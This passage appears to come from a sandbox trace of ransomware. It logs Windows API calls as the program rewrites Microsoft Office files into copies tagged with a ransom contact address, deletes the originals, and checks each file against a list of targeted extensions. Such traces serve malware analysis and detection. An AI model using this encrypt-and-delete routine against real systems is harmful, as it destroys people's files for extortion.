14\\theme effects\\pushpin.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0244.861] GetLastError () returned 0x0 [0244.861] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbef29, lpOverlapped=0x0) returned 1 [0244.879] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0245.062] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0245.062] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.062] SetEndOfFile (hFile=0x338) returned 1 [0245.062] CloseHandle (hObject=0x338) returned 1 [0245.063] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.063] SetEndOfFile (hFile=0x3b4) returned 1 [0245.324] CloseHandle (hObject=0x3b4) returned 1 [0245.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0245.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.735] lstrlenW (lpString=".doc") returned 4 [0245.735] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString=".docx") returned 5 [0245.735] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.735] lstrlenW (lpString=".pdf") returned 4 [0245.735] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString=".xls") returned 4 [0245.735] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString=".xlsx") returned 5 [0245.735] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.735] lstrlenW (lpString=".ppt") returned 4 [0245.735] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.735] lstrlenW (lpString=".zip") returned 4 [0245.735] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString=".rar") returned 4 [0245.735] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString=".bz2") returned 4 [0245.735] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.735] lstrlenW (lpString=".7z") returned 3 [0245.735] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.735] lstrlenW (lpString=".dbf") returned 4 [0245.735] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.736] lstrlenW (lpString=".1cd") returned 4 [0245.736] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.736] lstrlenW (lpString=".jpg") returned 4 [0245.736] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.736] lstrlenW (lpString=".doc") returned 4 [0245.736] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString=".docx") returned 5 [0245.736] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.736] lstrlenW (lpString=".pdf") returned 4 [0245.736] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString=".xls") returned 4 [0245.736] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString=".xlsx") returned 5 [0245.736] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.736] lstrlenW (lpString=".ppt") returned 4 [0245.736] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.736] lstrlenW (lpString=".zip") returned 4 [0245.736] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString=".rar") returned 4 [0245.736] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString=".bz2") returned 4 [0245.736] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.736] lstrlenW (lpString=".7z") returned 3 [0245.736] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.737] lstrlenW (lpString=".dbf") returned 4 [0245.737] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.737] lstrlenW (lpString=".1cd") returned 4 [0245.737] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0245.737] lstrlenW (lpString=".jpg") returned 4 [0245.737] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.737] lstrcmpiW (lpString1=".MMW", lpString2=".Q1G") returned -1 [0245.737] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0245.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.467] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=394200) returned 1 [0246.467] CloseHandle (hObject=0x398) returned 1 [0246.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0246.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.468] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.468] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.574] GetLastError () returned 0x0 [0246.574] ReadFile (in: hFile=0x398, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x603d8, lpOverlapped=0x0) returned 1 [0246.584] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0246.591] ReadFile (in: hFile=0x398, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0246.591] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.591] SetEndOfFile (hFile=0x3a8) returned 1 [0246.591] CloseHandle (hObject=0x3a8) returned 1 [0246.591] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.591] SetEndOfFile (hFile=0x398) returned 1 [0246.606] CloseHandle (hObject=0x398) returned 1 [0246.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0246.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.607] lstrlenW (lpString=".doc") returned 4 [0246.607] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0246.607] lstrlenW (lpString=".docx") returned 5 [0246.607] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0246.607] lstrlenW (lpString=".pdf") returned 4 [0246.607] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0246.607] lstrlenW (lpString=".xls") returned 4 [0246.607] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0246.607] lstrlenW (lpString=".xlsx") returned 5 [0246.607] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0246.607] lstrlenW (lpString=".ppt") returned 4 [0246.607] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString=".zip") returned 4 [0246.608] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0246.608] lstrlenW (lpString=".rar") returned 4 [0246.608] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0246.608] lstrlenW (lpString=".bz2") returned 4 [0246.608] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0246.608] lstrlenW (lpString=".7z") returned 3 [0246.608] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString=".dbf") returned 4 [0246.608] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString=".1cd") returned 4 [0246.608] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString=".jpg") returned 4 [0246.608] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString=".doc") returned 4 [0246.608] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0246.608] lstrlenW (lpString=".docx") returned 5 [0246.608] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0246.608] lstrlenW (lpString=".pdf") returned 4 [0246.608] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0246.608] lstrlenW (lpString=".xls") returned 4 [0246.608] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0246.608] lstrlenW (lpString=".xlsx") returned 5 [0246.608] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0246.608] lstrlenW (lpString=".ppt") returned 4 [0246.608] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0246.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.608] lstrlenW (lpString=".zip") returned 4 [0246.608] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0246.609] lstrlenW (lpString=".rar") returned 4 [0246.609] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0246.609] lstrlenW (lpString=".bz2") returned 4 [0246.609] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0246.609] lstrlenW (lpString=".7z") returned 3 [0246.636] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0246.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.636] lstrlenW (lpString=".dbf") returned 4 [0246.636] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0246.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.636] lstrlenW (lpString=".1cd") returned 4 [0246.636] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0246.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0246.636] lstrlenW (lpString=".jpg") returned 4 [0246.636] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0246.637] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0246.637] lstrlenW (lpString="BULLETS.DLL") returned 11 [0246.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0247.149] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=15264) returned 1 [0247.149] CloseHandle (hObject=0x1fc) returned 1 [0247.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0247.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.149] lstrlenW (lpString=".doc") returned 4 [0247.149] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.149] lstrlenW (lpString=".docx") returned 5 [0247.150] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0247.150] lstrlenW (lpString=".pdf") returned 4 [0247.150] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString=".xls") returned 4 [0247.150] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString=".xlsx") returned 5 [0247.150] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0247.150] lstrlenW (lpString=".ppt") returned 4 [0247.150] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.150] lstrlenW (lpString=".zip") returned 4 [0247.150] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString=".rar") returned 4 [0247.150] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString=".bz2") returned 4 [0247.150] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.150] lstrlenW (lpString=".7z") returned 3 [0247.150] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.150] lstrlenW (lpString=".dbf") returned 4 [0247.150] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.150] lstrlenW (lpString=".1cd") returned 4 [0247.150] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.150] lstrlenW (lpString=".jpg") returned 4 [0247.150] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.150] lstrlenW (lpString=".doc") returned 4 [0247.150] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.150] lstrlenW (lpString=".docx") returned 5 [0247.150] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0247.150] lstrlenW (lpString=".pdf") returned 4 [0247.150] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.151] lstrlenW (lpString=".xls") returned 4 [0247.151] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.151] lstrlenW (lpString=".xlsx") returned 5 [0247.151] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0247.151] lstrlenW (lpString=".ppt") returned 4 [0247.151] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.151] lstrlenW (lpString=".zip") returned 4 [0247.151] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.151] lstrlenW (lpString=".rar") returned 4 [0247.151] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.151] lstrlenW (lpString=".bz2") returned 4 [0247.151] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.151] lstrlenW (lpString=".7z") returned 3 [0247.151] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.151] lstrlenW (lpString=".dbf") returned 4 [0247.151] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.151] lstrlenW (lpString=".1cd") returned 4 [0247.151] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0247.151] lstrlenW (lpString=".jpg") returned 4 [0247.151] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.151] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.151] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0247.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.352] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=13240) returned 1 [0247.352] CloseHandle (hObject=0x398) returned 1 [0247.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0247.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.572] lstrlenW (lpString=".doc") returned 4 [0247.572] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.572] lstrlenW (lpString=".docx") returned 5 [0247.572] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0247.572] lstrlenW (lpString=".pdf") returned 4 [0247.572] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.572] lstrlenW (lpString=".xls") returned 4 [0247.572] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.572] lstrlenW (lpString=".xlsx") returned 5 [0247.572] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0247.572] lstrlenW (lpString=".ppt") returned 4 [0247.572] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.572] lstrlenW (lpString=".zip") returned 4 [0247.572] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.572] lstrlenW (lpString=".rar") returned 4 [0247.572] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.572] lstrlenW (lpString=".bz2") returned 4 [0247.572] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.572] lstrlenW (lpString=".7z") returned 3 [0247.572] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".dbf") returned 4 [0247.573] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".1cd") returned 4 [0247.573] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".jpg") returned 4 [0247.573] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".doc") returned 4 [0247.573] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString=".docx") returned 5 [0247.573] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0247.573] lstrlenW (lpString=".pdf") returned 4 [0247.573] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString=".xls") returned 4 [0247.573] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString=".xlsx") returned 5 [0247.573] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0247.573] lstrlenW (lpString=".ppt") returned 4 [0247.573] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".zip") returned 4 [0247.573] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString=".rar") returned 4 [0247.573] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.573] lstrlenW (lpString=".bz2") returned 4 [0247.573] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.573] lstrlenW (lpString=".7z") returned 3 [0247.573] lstrcmpiW 